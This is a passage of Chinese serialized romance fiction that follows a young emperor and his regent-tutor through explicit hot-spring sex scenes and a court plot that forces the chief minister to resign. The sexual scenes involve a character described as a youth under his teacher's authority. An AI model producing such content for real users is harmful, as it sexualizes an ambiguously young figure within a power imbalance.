沈衡本来要抬起的睫毛停止了,僵在一个不上不下的位置停了许久,久到眼底情绪已经变换了几番,他都没能再说出一句话。 蝴蝶被温泉旁边的鲜花吸引,扇着翅膀飞到花蕊上,花色鲜艳的翅膀上带着闪粉,一飞一停间吸引了宋南卿的目光,他听见沈衡轻声道: “你想要的,我有什么没给过你呢。”不知道是在自言自语还是在说给谁听。 宋南卿转头时,沈衡已经恢复了冷静,对他说:“有些东西,得到了可能才会发现跟你想的不一样。” 宋南卿一字一顿道:“但我就是想要。” 沈衡点了点头,平静道:“希望你不会后悔。” 他侧着倚靠在池边,以一个好整以暇的姿势望着宋南卿,黑沉沉的眸子宛如一池凝固的水。 宋南卿以为他是在威胁,眼睛一转,张嘴就要喊:“来…人!唔唔…” 第二个字还未说出口,他的嘴巴就被捂住,沈衡把人圈在怀里揉了一把湿淋淋的长发,凑在人耳边低声道:“今天不说清楚承认什么,卿卿可离不开这个池子。” 肉贴肉的距离让人能感受到彼此身上的温度,湿掉的发丝搭在身上,又粘又湿滑,发尾搔在脖颈处带来难以忍受的痒意。 宋南卿推了半天推不开,反而把自己折腾出一身汗,面前的明明还是之前的那个人,但他就是莫名觉得有哪里发生了变化,幽深的眼睛切肤的温度,让人生出想后退的感觉。如果说之前的沈衡是被刀鞘包裹的一把利刃,现在的刀鞘好像被他亲手摘除了。 一滴水顺着发丝滴落,坠在少年小巧的耳垂下端,将落未落。原本就粉红的耳垂被沈衡上手一捏,红色立马蔓延开。那滴水被抹掉,但艳红的印记却留在上面许久不散。 宋南卿耳朵本来就敏感,被指腹一捻,半边身子都麻了,抑制不住地发抖。薄薄的耳垂在手中捻成一片,他弓起腰细细喘息,耳眼被对着吹了一口气,顿时整个人缩成一团,摆着头想逃。 青丝沾了水成一缕一缕,垂在胸前飘在水面上,荡出一圈又一圈的波纹。 沈衡捏着又红又软的耳垂,轻声道:“前阵子我得了一对翡翠耳环,上次不是眼馋人家的吗?拿来给卿卿戴戴?” 敏感的部位一直被触碰,宋南卿腰都软了,低着头说不要,鼓起的脸颊贴在人手心像是嫩滑的牛乳湿酪,左右蹭了蹭又道:“女孩子戴的…再说我又没有可以挂的地方。” “给你穿个眼就是了。”沈衡细细端详像是在看穿在哪个位置合适,“还是说,又想挂在别的地方了。” 想起上次那枚翡翠扳指的最后位置,宋南卿头皮发麻抖了一下,抿着嘴用可怜的表情看着人道:“我会乖的…” “你不会。”沈衡斩钉截铁,像是看透了他,眼底幽深。 宋南卿气鼓鼓收了装可怜的表情,一把搂住沈衡的脖子,凑上去嘴唇相贴交换了一个湿热的吻。潺潺的水流挡住了湿吻时发出的隐秘水声,少年的舌头被勾住吮吸,舌尖交缠时□□散发出绵长的愉悦,从舌尖传到上颚,再顺着后颈一路传到天灵盖。 绿色的绣球花和百合连成一片形状完美的花海,清新淡雅的绿色和白色百合花的纯交相呼应,在簇簇繁茂的绣球后,池子里的人吻得密不可分,宋南卿被托着后颈吃舌头,眼神迷离聚不起焦,滴滴口水从嘴角含不住滑落。 他的身体泡在温水里,接吻时灵魂也像泡在了温水里,散落的乌发飘在池面上轻晃,后颈被手心托着揉捏,唇瓣厮磨比之前红了几个度。 等二人终于分开,一条长长的银丝从中间拉长又断掉,沈衡按住少年湿润的唇瓣轻轻擦拭,那颗小小的唇珠被吸肿了,翘在上面红的发艳,被压在手指下面轻揉。 宋南卿在亲的过程中感觉到了沈衡的变化,看见他眼底的火,喘息着推开人的手,伸手抓着池壁边缘转身要跑,却被搂住腰重新圈了回来。 沈衡低头盯着人道:“想走?是不是忘了点什么。” 绿色绣球花表面溅上了几滴池水,更显娇艳纯洁,宋南卿缩在人怀里支支吾吾,耳朵又被捏住揉弄,他听见沈衡说:“我看看耳环挂在哪里比较漂亮。” 少年眼眶发红,哆哆嗦嗦道:“你就知道欺负我,呜呜……不要、我不要说。” “不说可以,做给我看。”沈衡下巴微低,五指插进海藻般的乌发里,往下用力压去—— 作者有话说:[比心] 第37章 第三十七章 张嘴别咽 雾气围绕的池子里洒了一些花瓣, 把底下的风光全数遮挡,乳白色的池水是新开发的,据说有嫩滑肌肤的功效, 颜色跟荔枝果肉类似所以叫做贵妃池。 这个池子比青莲池要小一些, 沈衡张开双臂往后搭在玉石池边,过分长的手臂上肌肉起伏又结实, 沾了点点水珠又增添几分性感, 他单手往后捋了一下掉落的碎发, 喉结微微攒动,脖颈处的细汗反着光。 在平静的池水表面, 往上涌出了一串小小的泡泡, 沈衡眯了下眼睛,轻吸一口气,单手朝下伸, 抓住了什么东西往上一拽。 宋南卿从水里被拽了出来, 红色的花瓣挂在湿透的黑发上, 他从头到脚都湿了个彻底, 合不拢的嘴张开大口大口呼吸, 嘴角红彤彤一片。 他满脸是水,长长的睫毛上挂着水珠, 泫然欲泣的表情看起来很可怜,头发被男人拽着,玫瑰花瓣沾在发间像是打扮好的小新娘, 巴掌大的脸被男人擦了一把,勉强睁开眼睛扁着嘴说:“我很努力了……呜没有偷懒。” 他原本就被亲肿了的嘴唇现在更红了几分,粉色舌头露出了一个尖,喉结微动不知道默默咽下去了什么东西, 再张开嘴,舌尖上那抹晶莹已经不见踪迹。 沈衡眼里比平时多了几分慵懒,偏头望着他道:“只看中结果,不听辩解,之前不是学得很会吗?现在跟我说努力了没偷懒,结果在哪里?” 他表现的像极了少年在书房背书背不下来时,教训人的样子,毫不留情居高临下。宋南卿忍不住抖着身子回想起自己挨板子的情景,手指攥在一起搓动,膝盖发软。 “对不起…我会好好学的呜呜,想…我想……”他膝盖分开坐在池子里,对着的位置正好是温热水流注入的地方,不急不缓的水流声哗哗,产生的冲击力虽柔但也相当有力,分散的水流从进水口注入池中,激出一片荡漾的水花。 自从登基就没吃过什么苦的小皇帝自然受不住辛苦,他嘴巴浅,之前喉咙发炎时被木棒压住舌头看里面的红肿状况,刚刚伸进去就忍不住干呕,说什么都只能接受含进去一点,御医说这样没办法查看里面状况,他哭着闹着说不看了,不想含压舌木棒。 还是沈衡压着他强硬把木棒塞进去压好舌根,消炎镇静的药粉才能洒到红肿发炎的喉口,不听话爱闹不吃药的小孩的确需要一个强硬的家长。 宋南卿被强行喂了满嘴的药,眼角含泪哭个不停。 沈衡捏着他的下巴说:“张嘴,别咽。” 白色的药粉均匀覆盖在红肿的伤处,药的味道当然不会好吃,但如果立马咽下去,就不能好好发挥镇痛作用,宋南卿啜泣着给他看自己有好好含着,没有压舌板压住的粉红舌头不知道该放在哪里,翘在中间轻轻晃动。 由于张嘴的姿势,白色的药粉和口水混合,忍不住往外流淌,沈衡食指一勾,把他嘴角流出的东西轻轻擦去,低声道:“咽吧。” “咕嘟”一声,宋南卿咽了下口水,口腔里已经完全充斥着那个味道,甚至蔓延进鼻腔,他扁着嘴哭个不停。吃个药而已,像是受了多大的委屈。 沈衡把食指抵在他嘴唇上,白色的药粉被一点点涂抹开,嫣红的唇珠被涂上薄薄一层,成了膜的药粉覆盖在上面,慢慢发挥消肿作用。 池子下面的注水口水流越来越大,逐渐激得宋南卿坐不住,他蜷缩着脚趾浑身抖动,声音发飘抓住沈衡的手指尖声喊叫。 百合花蕊处不知何时飞溅了些水珠进去,沿着花瓣往外流淌,一股纯的像奶的清新百合花香气弥漫而出,融入池水之中。 ———— 午后太阳正盛,书房里摆了一张紫檀木的雕花贵妃榻,宋南卿横躺在上面正在小憩,藕白色的胳膊一条枕在脑后,一条裸露在外面,垂在空中。一阵风吹过,银镯子上坠着的小葫芦在空中轻轻晃动,发出细碎的声响。 天气热起来后,他睡觉盖不了被子,周围桌上铜盆里放着半融化的冰块,内侍摇动金属风轮,徐徐凉风携带冰块的冷气朝榻上的少年吹去,屋里放了几束花房匠人新培育的绿色玫瑰,风轮吹动空气流转起来,整个房间内都是凉爽沁人心脾的香风。 安静的房间里响起珠帘摇晃相撞的脆响,沈衡撩开帘子就看到了宋南卿恬静的睡颜,朝周围想要对他行礼的宫人做了噤声的动作,把手里的食盒递给宫人,坐在榻边端详欣赏起少年难得的安静。 因着侧躺的姿势,柔软的脸颊挤出一点软肉,压在手臂内侧。他嫌热穿的清凉,锁骨和肩膀都露在外面,细嫩的皮肉比底下铺着的上等丝绸还要光滑几分。 宋南卿睡觉不老实,越睡越往边缘移,闭着眼睛翻了个身,半个身子即将悬空,突如其来的失重感让他从梦中惊醒,但醒来的下一刻他就被沈衡托着腋下抱了起来。 宋南卿刚睡醒还懵懵的不知道发生了何事,等反应过来时已经在人大腿上坐着了。 他晃着赤裸的脚侧坐在沈衡腿上,睁着睡眼惺忪的眼睛把脸埋在人胸前蹭,声音像是沾染了玫瑰花的香气,馥郁朦胧,“先生怎么来了,北园寺的事料理的如何,周围百姓都妥善安置了吧。” 他打了个哈欠,睁眼时被一股冰凉贴在了脸上,整个人被冰的一抖,瞬间无比清醒。 宋南卿扒在碗边往里瞧,被冰了脸也没有生气,半透明的瓷碗里装着色彩鲜艳的液体,新鲜的紫苏桃子饮正适合这个时节,切成碎丁的鲜嫩桃子果肉沉淀在下方,还有一些半融化的碎冰,看起来就清凉的颜色让人食欲大开。 “先生你做的?”他嘴边漾开笑容,忽然又收敛,晃了晃脚盘在人小腿上道,“最近都胖了,你看我的脸。” 他抬手捧住自己的两边脸颊朝中间挤,“都说夏天会食欲减弱,我怎么胃口大开,都怪你天天做这些好吃的来。” 沈衡挑眉,点了两下头,“那不吃了?”说完就把勺子里的紫苏饮放入了自己嘴里。 宋南卿拉住他的手腕,咽了下口水急忙道:“吃!我要吃的。” 经过北园寺那一遭,他瘦的让沈衡看着心疼,变着花样做了些餐食喂他。少年抱起来还是轻飘飘一把,胖在哪里他是实在看不出来。 宋南卿张嘴被喂了一口桃子果肉,边嚼边说:“你不知道,我听他们说,小孩子怎么吃都不会发胖,但是长大了就不一样了,吃同样的东西身体不再长之后,就会长胖,我不要变成大胖子。” 沈衡抬指擦去他嘴角露出的一滴紫色液体,眼中带笑道:“那陛下趁着没加冠,可得好好吃够本。” 宋南卿眼睛眨了眨,忽而睁大了瞪他,“你取笑我!”就在他要发作之时,勺子被塞进了嘴巴里,沁人心脾的紫苏饮在口腔弥漫,香甜清新的桃子和紫苏味道混合在一起,他咂巴了下嘴,又被喂了一口。 “因为山洪暴发造成的流民已经妥善安置,北园寺造反起兵的那一派也已被镇压,目前恢复了平静。”沈衡道,“住持慧明说要清理门派,经过那么一遭,他名声更盛。” 宋南卿眉头微动,“那日杀手,究竟是谁派来的,有没有查清楚?” “还没有眉目,不过你的有缘人是谁派来的,倒是查清楚了。”沈衡放下手中的冰裂纹瓷盏,袖子在空中扬起弧度。 宋南卿弯着眼睛看他,问:“什么有缘人,你是说那个不小心丢了帕子的粉衣女子?” 彩漆八角镂空食盒被打开了第二层,几块造型精致的点心装在小碟里,宋南卿探头去瞧,对春见吩咐道:“去泡壶茶来,要碧螺春。”蟹粉酥配碧螺春最相宜。 他的视线一边在糕点上流连,一边问沈衡:“她是内应,和杀手大概率是一拨的,但先生的意思又不像是,所以她是干什么的,单纯想引起朕的注意?” 沈衡点头,“从她身上,倒是调查出了北园寺的不少内幕。” 大盛朝佛寺置业涉及范围很广,自身就有许多产业、田地,因为有宗教性质,又有不少香客信徒捐款捐物表虔诚,北园寺表面是不染人间烟火的郊外寺庙,其实这些年和朝中官员勾结,成为了最大的钱权交易地。官员给寺庙行方便、放宽限制、成为替自己私下赚取钱财金银的工具,寺庙主持能给的除了钱之外,还有很多意想不到的东西。 那日那个粉衣女子,对外说是慧明大师新收的俗家弟子,其实是高官女儿,是贾良设计和宋南卿偶遇的一枚棋子。 他们早就知道以戒原为首的一帮武僧看不惯北园寺风气一再落入市侩灰色的版块里,所以借着皇帝私下祈福的机会,给了戒原他们一个刺激,正好在宋南卿入寺的当天发作。 据他们计划,寺门口初遇遗落帕子初相见是第一面,祈福树下算卦还帕子是缘分相牵第二面,寺内发生动乱危险,作为俗家弟子的粉衣女借助熟悉地形救宋南卿于危难,是救命共渡难关第三面,这三板斧一下,再加上女子绝世的容颜,没有男人会不动心。 寺庙共度兵荒马乱的一夜,如果宋南卿还是不允,贾良就可以用女子俗家修行者的身份做文章,于情于理,于道义于佛法,她都会成为宋南卿后宫的第一个人。 可惜,世上从来都是计划赶不上变化。贾良没算到沈衡会一起去祈福,没算到有人利用了他的消息派出真正的杀手,想治宋南卿于死地,没算到那夜暴雨引发的山洪让粉衣女子没有机会出手。 那刀刀致命的杀手来势汹汹,不会是贾良派来的,因为如果失去国舅的身份,只靠区区一个内阁首辅的位置,那他就失去了不可替代性。所以北园寺之夜,他只是推手,不是幕后黑手。 但宋南卿却对他和北园寺的渊源很感兴趣。 春见泡好了茶,晾到适宜的的温度才端上来。一对杯子一左一右搁置在小几上,白玉浅浮雕的双耳杯里盛着清澈的茶汤,碧螺春的香气在空间里弥漫,茶香悠长。 形状精致的蟹粉酥装在黄地青花折枝纹餐盘中,点心表面的黄和盘子的颜色相得益彰,宋南卿捻了一块咬下一口,鲜味十足的蟹粉蟹肉充斥口腔,酥脆的外皮和内馅儿混合成了一种特殊的味道,鲜甜咸香在舌尖滚到舌根,还是记忆里那个好吃的味道。 天气热吃那些腻腻的总觉得不舒服,还是沈衡亲手做的东西最合他胃口。 宋南卿端起杯子抿了一口茶,缓缓道:“舅舅什么都好,就是太爱财。我这儿有道折子,先生肯定感兴趣。” 他一手抓着沈衡的衣袖,伸长了手臂去够桌上堆在一起的黄色奏章。 午后饮茶小食的时光充满慵懒惬意,宋南卿坐在人腿上,吃着糕点晃着脚,谈笑间,就翻出了一个能置人于死地的奏折—— 作者有话说:宋:家里有一个会做饭的人就够了嘛!前几天是谁嘲笑朕厨艺不好的都出来[墨镜] 第38章 第三十八章 真当手都拉不得的老师…… 墨色字迹在奏折内部写的一笔一划极为端正, 是御史台陈立文上的一道折子,上面说国子监祭酒许国今年乡试时出的一道试题,为阿谀奉承首辅贾良之作, 有劝进受禅之意, 暗指贾良应取代皇帝,有谋反之心。 宋南卿展开折子指给沈衡看, 试题为:“舜亦以命禹”, 讲的是天命归于有德者, 天命不应受血缘限制,应以德行为先。而出这道试题的人许国, 正是贾良曾经的门生。 陈立文这人一向说话如针尖, 在折子里洋洋洒洒阐述许国是怎么受贾良的暗示和默许,写下这要颠覆政权造反的试题给考生作答,又提起北园寺山洪暴发, 就是上天看不得这等小人高居内阁首辅之位。这些添油加醋的东西是御史台一向的作风, 以文字为武器, 虽然不尽如实, 但他要的就是这种乱拳打死的感觉。只有说的够狠、够危言耸听, 才能引起上面人的重视。 而且这些由言官呈上来的秘密奏折,是单独抄送给皇帝看的, 皇帝的回复和原件并不会公开发出去,只有他们二人知晓,所以陈立文对这个曾经间接导致自己父亲死亡的贾良, 更是能抹黑就抹黑,毕竟他之前也递过这种折子,皇帝不生气默许,其实就表明态度了。 宋南卿把最后一口蟹粉酥吞下, 张开留下残渣的手指对着沈衡晃了晃,问:“先生怎么看?” 沈衡接过春见递过来的湿帕子,把宋南卿的手指一根根擦干净,表情平静,“我刚刚来的时候,看见内阁几人在外面候着,陛下已经想好怎么做了,何必再来问我。” 宋南卿就着他的手喝了一口茶,仰头贴在人脖子上道:“先生是朕的老师,做什么事前跟您请教一下显得朕尊师重道。” 沈衡意味不明笑了一声,抬了抬腿,给他看正踩在自己膝盖上赤裸的脚,像是在说:你就是那么尊师重道的? 宋南卿转过眼睛哼哼了几声,装看不明白他的暗示,脚趾缩起又在人小腿上蹭了蹭。 “晾了他们那么久,也该见见了,先生要不要一起?” 沈衡勾住他的膝弯把人一把抱起,转身走了几步放在龙椅上,单手撑住椅背低头道:“不了,内阁的事,本王在这儿好处捞不到,徒惹一身腥。” 宋南卿伸腿勾住鞋踩了进去,仰头望着沈衡道:“那麻烦先生去叫他们进来好了。” 沈衡垂眼看他,丝绸的衣服薄如蝉翼,把身形完全透了出来,雪白的颈子上有不太明显的红印子,他懒懒靠在椅背伸了个懒腰,领口散开,胸前的肌肤露出一大片,偏偏自己毫无知觉,一脸无辜地看着自己问你怎么还不走。 “你外面的衣服呢?”沈衡下颌线绷紧。 宋南卿捋着肩膀上的头发随意道:“我热!不知道脱到哪儿去了。” 沈衡往后瞥了一眼,对春见说:“给陛下找一件来。” “不要穿那么多,好热,内阁那些糟老头子朕迟早把他们一个个收拾了,还怕他们说我衣冠不整?” 沈衡一言不发,手指挑开少年衣领,示意他低头看自己胸前。 “比你高一点,就全都看光了。” 宋南卿闻言脸颊泛起红晕,挥开人的手就把外衣穿好,胡乱系着胸前的带子有些羞愤之色,谴责道:“刚刚你就看见了不早说,现在才说!居心不良!” 沈衡嗯了一声,承认的很坦然,“可爱的东西,当然想多看两眼。” 宋南卿咬着嘴唇,一味地把胸前带子系紧,挤出一句:“你现在越来越过分了,到底有没有为人师表的觉悟,你……” 沈衡帮他把头发挽起,一缕青丝被绕在手指上扯紧,固定在另一侧,骨节分明的手指插进发丝缝隙中扯蓬松。他说:“我现在这样,不正是卿卿想要的吗?” “真当手都拉不得的老师,你受得了?” 空气中碧螺春的香气停滞,宋南卿呼吸加重了几分,脚趾在鞋子里蜷缩起,被扯动的那块发丝连带着头皮传来蚀骨的酥麻。 温热的手指捏住少年的脸颊,沈衡凑近在他耳边说:“它不听话了,是吗?”低沉带着磁性的声音从耳朵开始往里震,这句话的主语意味不明,但宋南卿就是知道它指什么。 他手指颤抖着,没点头也没摇头,脖颈上的青筋微微显露。 “呼吸。”沈衡指尖用力,软糯的脸颊肉在他指尖被揉动,“深呼吸,压制念头,陛下不能这样去见大臣,太没有为人君的觉悟了。” 宋南卿缩着肩膀努力把脑子中的想象全都剔除出去,深呼吸平复内心,但对方轻松随意的言语太能拿捏他的心,沈衡对他太了解了,三言两语就会让他兴奋。 “所以,到底是我太过分,还是卿卿太容易?”熟悉的声音说出的却是以前从来不会有的暧昧话语,不像之前的全盘宠爱包容,而是带着欲望带着锋利,带着他的独特气息,在这张桌子上宋南卿不再只是受到溺爱的小孩,更是感情里对弈的另一方。 他的手不小心碰到杯子,茶水抖出几滴,溅到桌上。脑海中第一时间出现的,是之前沈衡不知何时说的让他舔干净的话语,明知道不对,但那个场景随着宋南卿的心绪飘忽,逐渐在眼前清晰。 沈衡这个人平时装得太好了,斯文温和禁欲,宋南卿之前撩他撩不动的时候,都怀疑他是不是性冷淡,直到最近脱下道德束缚和枷锁,有些恶劣的喜好显现出来,青涩的小皇帝完全不是他的对手,在床上节节败退想跑又无门。 之前假哭两声撒个娇,沈衡向来有求必应,但如今某些方面如果做不到他满意,被弄到打滚也只会收到一句:“现在后悔晚了,是你自己要的。” 宋南卿爽是爽了,但也实在有些怕他,在床榻上的怕会移情,恐惧和愉悦交织起来会逐渐分不清彼此,都会血液流动加速,头皮发麻,跟狗看到摇铃就分泌口水一个道理,他现在对沈衡就是那么一个状态。 桌面上洒出来的几滴水很显眼,宋南卿闭了闭眼睛,思绪不可抑止地滑向了在某些地方“没得到允许不可以漏出来”的命令,他初尝滋味,年纪轻又是躁动的时候,明明沈衡现在看起来很正经,但他还是会想入非非。平常一板一眼教育他的先生和他一起做那种事,这种反差和冲击真不是他能平静接受的。 脑袋上被轻叩,沈衡扯着他的衣服把肩线整理整齐,道:“热就再从地库取些冰来,鞋穿好。” 蜀绣锦缎的鞋子轻便透气,他仗着没有人敢打量帝王的脚,半踩着鞋跟晃,白里透红的脚跟露在外面,光滑细腻一看就没走过多少路。 宋南卿不满地把脚塞进去,对着沈衡离去的背影小声道:“管好多,先生越来越啰嗦了。” “什么?”摄政王大人像是有背后灵,立马转头挑眉看他。 宋南卿无辜摇头:“没事,我说麻烦先生请那群老头子进来。”他看沈衡没反应,改口道: “请内阁大人们进来,和朕共议朝事——”从小就抓他礼仪不许失礼,到现在了还这样,宋南卿默默吐槽。 点金绣蟒的墨色衣袍消失在门外,宋南卿收回眼神冷冷瞥了一眼那张折子,拿在手里一下下敲击着桌面。桌上的茶重新换了一道,春见把糕点收起,又着人填了些冰块进去。 午后正是最热的时候,虽然乾清宫外有屋檐建筑遮挡,但这个时候穿着官服一站就是那么久,衣服肯定已经层层湿透。贾良一个时辰前接到命令,陛下召见内阁元老,说有要事相商,他们急急忙忙赶来,却被通知陛下在午睡,让他们稍等片刻。 这一等就是一时辰,期间还有摄政王沈衡旁若无人地进了殿内,宫人却没有以陛下午睡为由拦着,也没有通传,他进出陛下宫殿倒像是跟进自己家门没什么分别,自然得很。 在贾良又一次抬起袖子擦汗之时,摄政王身着蟒袍从殿内出来,姿态优雅,点头跟他们礼貌问好,头上的白玉冠分毫不歪,和他们热的浑身是汗的样子形成了鲜明的对比。 沈衡和他擦肩而过,淡淡道:“陛下醒了,诸位大人请进。” 身影交错而过,贾良闻到了他身上皇帝陛下独用的佳楠香香气,淡雅又馥郁,余韵悠长。 踏入殿内的瞬间,周遭的空气都下降了几度,燥热褪尽。 金龙戏珠的浮雕牌匾下,宋南卿正举着笔写些什么,明黄色的衣袍尽显华贵身份,外袍上用蓝色丝线绣了龙纹,江南制布局新供的料子,薄而不透,穿在身上仿佛像拢了一层雾,他的头发挽了一半,其余的披在肩上,顺着丝滑的衣袍垂到胸前。左手拇指的翡翠扳指就是不懂行的人也能看得出价值连城。 从穿着到姿态,从头发丝到眼神,宋南卿坐在那里,端的是一个金尊玉贵。曾经冷宫里被围着欺负的弱小孩童,现在眼神里已经有让他们产生惧意和震慑他们的东西了。 “臣等见过陛下。” 一行三人跪在桌前行礼,蓝色官服严肃板正。宋南卿垂眼看着他面前那块绣着金色祥云的地毯,手里捏着一本奏折轻轻敲打桌沿,一下又一下,像是敲到三人心尖上。 “砰!”的一声,奏折被掷到了贾良跟前,尖锐的角差点戳到他的头上,本来叠好的折子散开来,横着铺在他面前。 宋南卿像是忍着满腔怒气,沉声说:“你自己看看。” 贾良今日被叫来时就觉得后背发冷汗,已经做好了赴鸿门宴的准备,但看到折子里的一字一句都极尽诬陷之所能时,眼睛发红低头道:“陛下,此事于臣而言真是天降之祸,先不说陈御史和臣素来不对付,就是许国所出试题也是经过翰林院审议,老臣哪里有这种滔天的权力去指使他呢?” 之前因为京兆尹姚顺一事他已经被牵连,断然不会再作死指示手下人做这等事。 “所以舅舅的意思是,许国擅自做主想要讨好你,所以才出了这大逆不道的试题来?”宋南卿推开砚台直视他的眼睛,“那舅舅告诉朕,送礼讨好讲究一个投其所好,他为什么要那么做呢?” 后面跟着贾良的内阁学士跪在地上不住冒冷汗,想不到一来就是这种开局。 贾良一顿,意识到宋南卿已经越来越不好对付了,年龄渐长身高倒是没这么长,原来全都去长心眼子了。 宋南卿居高临下坐在椅子上垂眼看他们,审视问责的样子跟摄政王平时的作风有着微妙的相似之处,一句接一句的问话全都是圈套,稍有不慎被他套进去就是万劫不复、无法辩解。 但话到了这个地步,贾良被逼的只能说出那句陛下想听的话,别无他法。 剑走偏锋,不是把人往绝路上逼,而是让他以为自己有选择,但其实只能选那条早就为他铺好的黄泉路。 “陛下恕罪,许国是我的学生,绝没有此等谋逆之心。”贾良留着虚汗回道。 宋南卿轻勾起嘴角,“你怎么保证?” 第39章 第三十九章 把摄政王找来劝劝 店里冰块放的毫不含糊, 加上铁片转扇一直由宫人摇动,凉风阵阵袭来,本来在夏日里是很舒适的温度, 但贾良跪在地上却觉得背后发凉、心里也发凉, “呦,你看, 朕太心急了, 都忘了让舅舅起来。”宋南卿歉意一笑, 端起杯子喝了口茶,转头吩咐道, “春见, 给三位大人看茶,你说你也不提醒着朕些。” 春见一边笑着嘴上认罪,一边给内阁几位端上茶杯, 贾良旁边两位对他态度倒是很恭敬。 今日杯子里泡的是不常见的苦丁茶, 入口先是浓郁苦涩浸染味蕾, 之后清甜回甘, 在舌尖上回味悠长, 先苦后甜的苦丁茶只有经历丰富的人,才能尝得懂其中韵味。贾良放下杯子, 眼中划过一道锐光。 “陛下,许国此人,臣最是了解, 他日日研读《论语》读遍圣贤书,怀有古仁人之心。臣无法担保他有无谋逆之心,但臣愿辞去内阁职务以明自己清白!” “阁老!”跟着他的两人忙扶住他的胳膊规劝,面上俱是不忍, 一副忠臣惺惺相惜的样子。 宋南卿眉头微动,偏头看向他。 “陛下,贾阁老的一片忠心我们没有人会怀疑,内阁也是有阁老才能有条不紊运转,我们也愿请求辞去内阁职务,以证明阁老清白,对朝廷对陛下绝无二心。” 宋南卿笑了一声,很快嘴角又垂下去,冷声道:“你们这是在威胁朕是吗?” 屋里的冰块融化出水,变小的半透明状冰在铜盆里飘荡、旋转、相撞。 贾良叹了一口气,缓缓道:“食君之禄,忠君之事。陛下,老臣历经两朝,一心想的是大盛朝廷、安宁富足,陛下长大了,一些有心之人看不惯你我亲近,一而再再而三污臣清白,臣若居首辅之位避免不了陛下的猜疑,臣不坐便是,只求陛下与老臣的情分不变。” 宋南卿面上看不出什么情绪,只是问:“舅舅真是那么想的?” 贾良眼神坚定,情真意切点头。 “你们两个,也像贾大人那么想?” 二人对视一眼,坚决回应。 好一幅铁骨铮铮咬定青山不放松,誓要罢官也要留清白在人间的架势。 宋南卿点点头,说:“好,既如此,朕便遂了你们的愿。” “舅舅你说的在理,朝廷现在派系林立纷争不断,有心之人太多也太杂,那便按你说的,在家休息些时日吧。正好士凯不日便要启程去岭南做官,你们在家多团聚。” “你们两个,和贾大人同气连枝让我看出了内阁上下一心,朕一定会给你们这个证明自己清白的机会。” 宋南卿拿起毛笔在砚台沾了几下,写了几个字交给站在一旁的春见。 “传旨下去,晓谕百官。另外,陈立文天天递折子参内阁事,朕看他是站着说话不腰疼,现在阁老还家静养,让他来内阁试试看,朕看他自己未必就能做的无可指摘。” 乾清宫外,贾良身后追随着的两个人露出焦急的表情,一个劲问:“阁老,这可如何是好,陛下他怎么真的允了呢?我们以后……” 贾良下巴绷紧,眼神浑浊又带着一股煞气,薄唇抖动轻启:“慌什么,陛下不是说了,这是给我们证明自己清白的机会!现如今内阁就剩下郗武康那个窝囊废,再加上陈立文一点就着丝毫不懂内阁制度,不足为惧。你们给我听着!” 他招呼二人凑近,声音阴沉:“我们不在内阁,内阁就一定不能干好事情,不然这才是真的永无翻身之日,明白吗?” “等他们出了不可弥补的岔子,就是我们的时机,到那时,陛下乃至整个朝廷就会知道内阁不能失去我们,之后谁再敢挑内阁的刺也得掂量掂量。” “没有一个皇帝真的喜欢言官批评自己,这是陛下的一盘棋,你们得中用。” 二人听明白了,低头行礼说多谢阁老提点,反观贾良,看着二人离去的背影,却没有刚刚表现出来的从容,曾经一丝不苟打理的胡子也乱了,背后的一团汗渍朝外晕开,身体也不像之前那么笔直。 陛下的确成长了不少,从面上丝毫看不出他的真实想法,从今日一反常态泡的苦丁茶上,贾良接收到了陛下的旨意,希望他能忍辱负重、先苦后甜,现在从内阁请辞只是表面功夫,宋南卿给他暗示以后会有甜的补上。 但话虽如此,贾良却为这位陛下的缜密心思暗中流汗。先用一道折子把他逼入险境,再给一个甜枣暗示先苦后甜,他一点点步入圈套没办法反抗,进不得退不得,除了宋南卿给的这条路,往左往右都是死。不请辞就是他意图谋反教唆学生出反动论题,与其等着陛下下手逼迫,自己主动请辞传出去还好听一些,保留了自己忠义的面子。 虽然他跟属下说的好听,但陛下只是泡了个茶给他,有丝毫承诺吗?没有。 贾良穿着官靴一步步走下台阶,心中万千滋味,陛下想借他的手惩治陈立文,把对方弄到内阁里捧杀,他在陛下这里是棋子,也是暗地里的同盟;陈立文进内阁该有多欢喜,以为得到陛下的赏识,这是明面上的同盟。 大家都是陛下的同盟,其实宋南卿心里究竟是怎么想的,到底把谁当做了棋子,只有他自己知道。二分之一的概率,贾良只能赌自己才是真的那个同盟。 他乘着马车驶离皇宫,街上的麻雀被惊得飞起,落到高大的枝头。隐藏在树叶里的乌鸦看见不速之客闯入它的栖息之所,抖着漆黑的羽毛叫了两声,呕哑嘲哳嗓音嘶哑。 朱红色的宫墙上方是黄色琉璃瓦,几只喜鹊蹦跳前进落在瓦面上,扇动翅膀往前飞去。 宣政殿偏殿,盘龙雕花的金柱上印着寿山福海纹样,宋南卿头上的金珠链发饰混在发丝里,在光影里晃动出波光粼粼的金色波浪,他靠在龙椅里听吏部汇报新科举子近期工作情况。 阮羡之在翰林院任编修,这种细致活最能观察出一个人的性子和禀赋,前三甲另外的二人已经差不多可以独当一面,只待经验成熟好在中枢分配个什么职位。 这个阮羡之倒也不急,在编修史书上几月如一日不急不躁。他那日在琼林宴马球赛上的举动引得陛下被九王嘲讽,底下官员揣度圣意,以为他被陛下不喜,所以小小磋磨了一下企图讨圣上欢心。 贾士凯虽为二甲末,本不会被分配至岭南那种地方,但负责的官员因着双头牛一事对贾良怀恨在心,在上级默许下共同呈递了分配单。 贾良首辅之位辞了,跟之前已不可同日而语,内阁首辅次辅接连请辞,于朝廷而言不是一件好事,但陛下倒是稳坐龙椅看不出有什么着急,撩了一把额前碎发道:“陈立文,把今日折子拿过来,朕在这儿看。” 陈立文没干过内阁的事,对陛下调任他来干这事,也是心存疑惑,他转头看了下郗武康。 郗武康之前在内阁只是个小角色,还受贾良压制没接触过什么重要活,如今赶鸭子上架他就是最熟悉内阁事宜的人,但没想到又来了一个陈立文。他有些慌乱,忙吩咐底下的人去拿。 一堆烫金压褶的奏折叠起来放在案上,比往日多上一些,宋南卿随手翻开一个问:“你们还有什么要紧事?” 诸位大臣最想问的当然还是内阁的事,作为权力中枢这一下子失去主心骨,陛下到底是什么打算,他们当然想问个明白,但在这个节骨眼上,有没有人敢做出头鸟。 他们这位陛下,看起来年纪尚小羽翼未丰,其实干的都是杀伐果决的事,披着一张慵懒随意的皮,连内阁首辅请辞说同意就同意了。往前数三朝五朝,重要大臣请辞都是为了逼迫圣上或者自证清白,这其实是示弱手段,没有人真的以为他不想干了。 